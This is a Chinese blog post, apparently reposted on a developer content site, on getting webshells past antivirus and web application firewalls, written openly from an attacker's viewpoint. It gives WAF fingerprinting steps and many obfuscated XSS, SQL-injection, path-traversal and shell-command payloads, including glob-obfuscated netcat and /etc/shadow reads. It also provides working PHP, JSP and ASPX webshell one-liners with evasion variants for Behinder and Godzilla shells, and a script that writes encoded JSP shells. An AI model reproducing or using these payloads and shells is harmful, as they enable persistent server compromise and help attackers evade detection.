当前位置:网站首页>WebShell 木马免杀过WAF
WebShell 木马免杀过WAF
2022-08-02 22:03:00 【wespten】
就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。
防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。
一、WAF简介
什么是WAF
Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。
WAF的原理
waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。
waf工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,waf类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行。
总结使用WAF的原因
1. 深度防御策略;
2. 检测并阻止针对易受攻击的Web应用程序的攻击;
3. 防范各种漏洞;
4. 保护公司的网络环境。
受欢迎的WAF供应商
如何找到WAF类型和真实IP地址
1.使用shodan.io或censys.io
2.搜索SPF记录和TXT记录。SPF和TXT记录可能存在原始的IP地址。
3.也可以在“历史数据”中进行检索,在旧记录中可能具有原始IP。查找域名、IP地址等历史数据:securitytrails.com
如何证明WAF已经正确设置
WAF使用标准端口80、443、8000、8008、8080和8088端口;
WAF在请求中设置自己的cookie;
WAF将自己与单独的标头关联;
WAF在服务器标头中公开自己;
WAF在响应内容中公开自己;
WAF会根据恶意请求以唯一的响应代码进行响应;
从浏览器发送标准GET请求,拦截并记录响应头(特定的cookie);
从命令行发送请求(例如cURL),然后检查响应内容和标头;
将GET请求发送到随机打开的端口,并检查可能暴露WAF身份的标语;
尝试一些SQL注入playload,例如:“”或1 = 1-登录表单或忘记密码;
在某些输入字段中尝试使用XSS有效playload,例如 confirm();
尝试将../../../etc/passwd添加到URL地址中的随机参数中;
将URL末尾的一些有效playload(例如“ OR SLEEP(5)OR)”添加到url作为随机参数;
使用过时的协议(例如HTTP / 0.9)发送GET请求(HTTP / 0.9不支持POST类型的查询);
根据不同类型的交互检查服务器标头;
将原始的FIN&RST数据包发送到服务器并识别响应;
边通道攻击–检查请求和响应内容的计时行为;
检查和绕过WAF的工具
w3af — Web应用程序攻击和审核框架wafw00f —识别和指纹Web应用程序防火墙BypassWAF –通过滥用DNS历史记录来绕过防火墙。该工具将搜索旧的DNS A记录,并检查服务器是否对该域进行答复。 CloudFail –是一种战术侦察工具,试图在Cloudflare WAF后面找到原始IP地址。
绕过WAF的技术
(1)请求真实ip绕过waf:部分watf部署架构的特性,部分waf并不是直接串在目标站点线路上,而是通过DNS解析的形式部署,此时可以先探测到目标站点的真实ip直接请求ip以此绕过waf的检测;
(2)检测内容范围绕过:waf性能限制,检测特定内容前几k或几十K的内容,然后在此特定内容段内填充物用数据, payload放于物用数据后,以此绕过检测;
(3)协议盲区绕过:waf根据自己的防御策略所支持的协议特性,针对该协议内的请求进行检查,但是存在一些协议检测或协议运行机制上的缺陷导致被绕过,例如协议未覆盖、协议解析不正确、协议解析遗漏等;
(4)检测规则绕过:waf工程师规则编写经验、规则覆盖面等问题,来绕过检测,例如利用 MySQL对一些特殊字符处理的特性、语法特性绕过。
二、PHP免杀
传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
大小写转换技术
组合大写和小写字符以创建有效的有效内容。
原型:
<script>confirm()</script>
绕过的技术:
<ScrIpT>confirm()</sCRiPt>
原型:
SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'
绕过的技术:
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
URL中的示例:
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
URL编码技术
使用%编码/ URL编码对普通有效载荷进行编码,也可以使用Burp。它具有编码器/解码器工具。
被WAF阻止:
<Svg/x=">"/OnLoAD=confirm()//
绕过的技术:
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
被WAF阻止:
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
绕过的技术:
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
URL中的示例:
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
unicode技术
Unicode编码的ASCII字符为我们提供了绕过WAF的绝佳变体,对整个或部分有效载荷进行编码以获得结果。
原型:
<marquee onstart=prompt()>
混淆:
<marquee onstart=u0070ru06fu006dpt()>
被WAF阻止:
/?redir=http://google.com
绕过的技术:
/?redir=http://google。com (Unicode alternative)
被WAF阻止:
<marquee loop=1 onfinish=alert()>x
绕过的技术:
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
原型:
../../etc/shadow
混淆:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
源代码再次编码
base64编码
将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:
键值对变形
这次的变形是在数组中键值对变形,很强。
HTML编码技术
Web应用将特殊字符编码为HTML,对它们进行编码和渲染。基本的绕过情况,带有HTML编码的数字和通用编码。
原型:
"><img src=x onerror=confirm()>
编码有效载荷:
"><img src=x onerror=confirm()>
编码有效载荷:
"><img src=x onerror=confirm()>
混合编码技术
这样的规则通常倾向于滤除特定类型的编码,混合编码有效载荷可绕过此类过滤器。
换行符和选项卡,进一步增加了混淆。
混淆负载:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
使用注释技术
注释使标准有效载荷向量模糊不清,不同的有效载荷具有不同的混淆方式。
被WAF阻止:
<script>confirm()</script>
绕过的技术:
<!--><script>confirm/**/()/**/</script>
被WAF阻止:
/?id=1+union+select+1,2--
绕过的技术:
/?id=1+un/**/ion+sel/**/ect+1,2--
在攻击字符串中间插入注释。例如,/ *!SELECT * /可能会被WAF忽略,但会传递到目标应用程序并由mysql数据库进行处理。
URL中的示例:
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
URL中的示例:
index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
双重编码技术
Web应用程序防火墙策略倾向于对字符进行编码以保护Web应用程序,较差的过滤器(没有递归过滤器)可以通过双重编码来绕过。
原型:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:
混淆负载:
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:
原型:
<script>confirm()</script>
混淆负载:
%253Cscript%253Econfirm()%253C%252Fscript%253E
通配符混淆技术
各种命令行实用程序使用全局模式来处理多个文件,我们可以更改它们以运行系统命令。
原型:
/bin/cat /etc/passwd
混淆负载:
/???/??t /???/??ss??
二手字符:
/ ? t s
原型:
/bin/nc 127.0.0.1 443
混淆负载:
/???/n? 2130706433 443
二手字符:
/ ? n [0-9]
动态有效载荷生成技术:
编程语言具有不同的连接模式和语法,这使我们能够生成可以绕过许多过滤器和规则的有效载荷。
原型:
<script>confirm()</script>
混淆负载:
<script>eval('con'+'fi'+'rm()')</script>
基本要求:
/bin/cat /etc/shadow
混淆负载:
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Bash允许执行路径串联。
原型:
<iframe/onload='this["src"]="javascript:confirm()"';>
混淆负载
<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:con"+"fir"+"m()"';>
垃圾字符技术
WAF可以轻松过滤掉简单的有效负载,添加一些垃圾字符有助于避免检测(仅在特定情况下)。此技术通常有助于混淆基于正则表达式的防火墙。
原型:
<script>confirm()</script>
混淆负载:
<script>+-+-1-+-+confirm()</script>
原型:
<BODY onload=confirm()>
混淆负载:
<BODY onload!#$%&()*~+-_.,:;[email protected][/|]^`=confirm()>
原型:
<a href=javascript;alert()>ClickMe
绕过的技术:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
换行技术
许多具有基于正则表达式的WAF可以有效地阻止许多尝试,换行技术(CR和LF)可以破坏防火墙的正则表达式并绕过某些东西。
原型:
<iframe src=javascript:confirm(hacker)">
混淆负载:
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
未初始化的变量技术
可以使用未初始化的bash变量规避基于正则表达式的错误过滤器。该值等于null,其作用类似于空字符串,Bash和Perl允许这种解释。
一级混淆:正常
原型:
/bin/cat /etc/shadow
混淆负载:
二级混淆:基于
/bin/cat$u /etc/shadow$u
位置
原型:
/bin/cat /etc/shadow
混淆负载:
$u/bin$u/cat$u $u/etc$u/shadow$u
第三层混淆:随机字符
原型:
/bin/cat /etc/passwd
混淆负载:
$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
制表符和换行技术
选项卡通常有助于规避防火墙,尤其是基于正则表达式的防火墙。当正则表达式需要空格而不是制表符时,制表符可以帮助打破WAF正则表达式。
原型:
<IMG SRC="javascript:confirm();">
绕过的技术:
<IMG SRC=" javascript:confirm();">
变体:
<IMG SRC=" jav ascri pt:confirm ();">
原型:
http://test.com/test?id=1 union select 1,2,3
绕过的技术:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
原型:
<iframe src=javascript:confirm()></iframe>
混淆负载:
<iframe src=j	a	v	a	s	c	r	i	p	t	:c	o	n	f	i	r	m	%28	%29></iframe>
令牌破坏者技术
对令牌的攻击企图打破使用令牌中断器将请求拆分为令牌的逻辑,令牌破坏器是允许影响字符串的元素和某个令牌之间的对应关系的符号。
使用令牌破坏器时,我们的请求必须保持有效。
案例研究:令牌生成器的未知令牌
我们的有效载荷:
?id=‘-sqlite_version() UNION SELECT passwords FROM users --
案例研究:解析器的未知上下文(注意无上下文的括号)
第一有效载荷:
?id=12);DROP TABLE users --
第二有效载荷:
?id=133) INTO OUTFILE ‘xxx’ --
其他格式的混淆
许多Web应用程序支持不同的编码类型,并且可以解释编码。我们始终需要将有效负载混淆为WAF不支持的格式,但是服务器会走私我们的有效负载。
IIS案例:
IIS 6、7.5、8和10允许IBM037字符解释。
发送带有查询的编码参数。
原始请求:
POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--
带有URL编码的混淆请求:
POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A
利用在高版本php语法不换行来执行命令
<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>
5.2版本报错
5.3报错
5.4版本报错
7.3.4成功执行命令
利用\特殊符号来引起报错
<?php\echo `whoami`;?>
5.3 执行命令失败
7.3执行命令失败
5.2成功执行
十六进制字符串
在php7中不认为是数字,php5则依旧为数字。经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行。
<?php$s=substr("aabbccsystem","0x6");$s(whoami)?>
7.3 命令执行失败
5.2 命令执行失败
5.3 命令执行成功
除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
如7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式:
<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));
三、jsp免杀
jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。
jspx CDATA特性
在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:
<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如:
String cmd = request.getPar<![CDATA[ameter]]>(“shell”);
此时ameter依旧会与getPar拼接成为getParameter。
实体化编码
if (cmd !=null){ Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream();
这里实体化编码先知渲染体现不出来:
利用java支持其他编码格式来进行绕过:
#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')
可以看到对于D盾的免杀效果还是非常好的。
四、aspx免杀
aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀:
1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
我们以一个普通的冰蝎马作为示例:
<%@ Page Language="Jscript"%>[eval(@Request.Item["pass"],"unsafe");%](mailto:eval(@Request.Item[)
这一步无需多言,一定是会被D盾所查杀的。
unicode编码
例如eval他可以变为\u0065\u0076\u0061\u006c:
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
经过我本地的测试,在JScript的情况下它不支持大U和多个0的增加。而在c#的情况下,是可以支持的:
空字符串连接
在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错:
\u200c
\u200d
\u200e
\u200f
使用<%%>语法
将整个字符串与函数利用<%%>进行分割:
<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
头部免杀
之前有遇到过检测该字段的<%@ Page Language=“C#” %>,这个是标识ASPX的一个字段,
针对该字段进行免杀[%@Language=CSHARP%](mailto:%@Language=CSHARP%)很久之前修改为这样就过了。
同样的,可以修改为:
<%@ Page Language=“Jscript”%>------》<%@Page Language=JS%>
也可以将该字段放在后面,不一定要放前面等。
使用符号
如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。
(Context.Session["payload"] == null)(@[email protected]["payload"] == null)
注释可以随意插入
如下所示为冰蝎部分代码:
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
可以与<%%>结合使用效果会更好。
边栏推荐
猜你喜欢
随机推荐
【TypeScript】深入学习TypeScript类(上)
Web APIs BOM- 操作浏览器-Window对象
Mysql查看慢查询日志
Tanabata is here - the romance of programmers
go 序列化与反序列化
ML之PDP:基于titanic泰坦尼克是否获救二分类预测数据集利用PDP部分依赖图对RF随机森林和LightGBM模型实现可解释性案例
GameStop NFT 市场分析
SRv6网络演进面临的挑战
Unity WallFxPack使用
任务四 机器学习库Scikit-learn
RuoYi-App启动教程
gdb调试简要总结
win10安全中心设置不扫描某个文件夹的方法
R语言自学 1 - 向量
基于STM32的FLASH读写实验含代码(HAL库)
Software testing pen questions 1 (with answers)
目前为止 DAO靠什么盈利?
若依集成minio实现分布式文件存储
FRED应用:激光二极管光源耦合到光纤的仿真
2022-08-02 第六小组 瞒春 学习笔记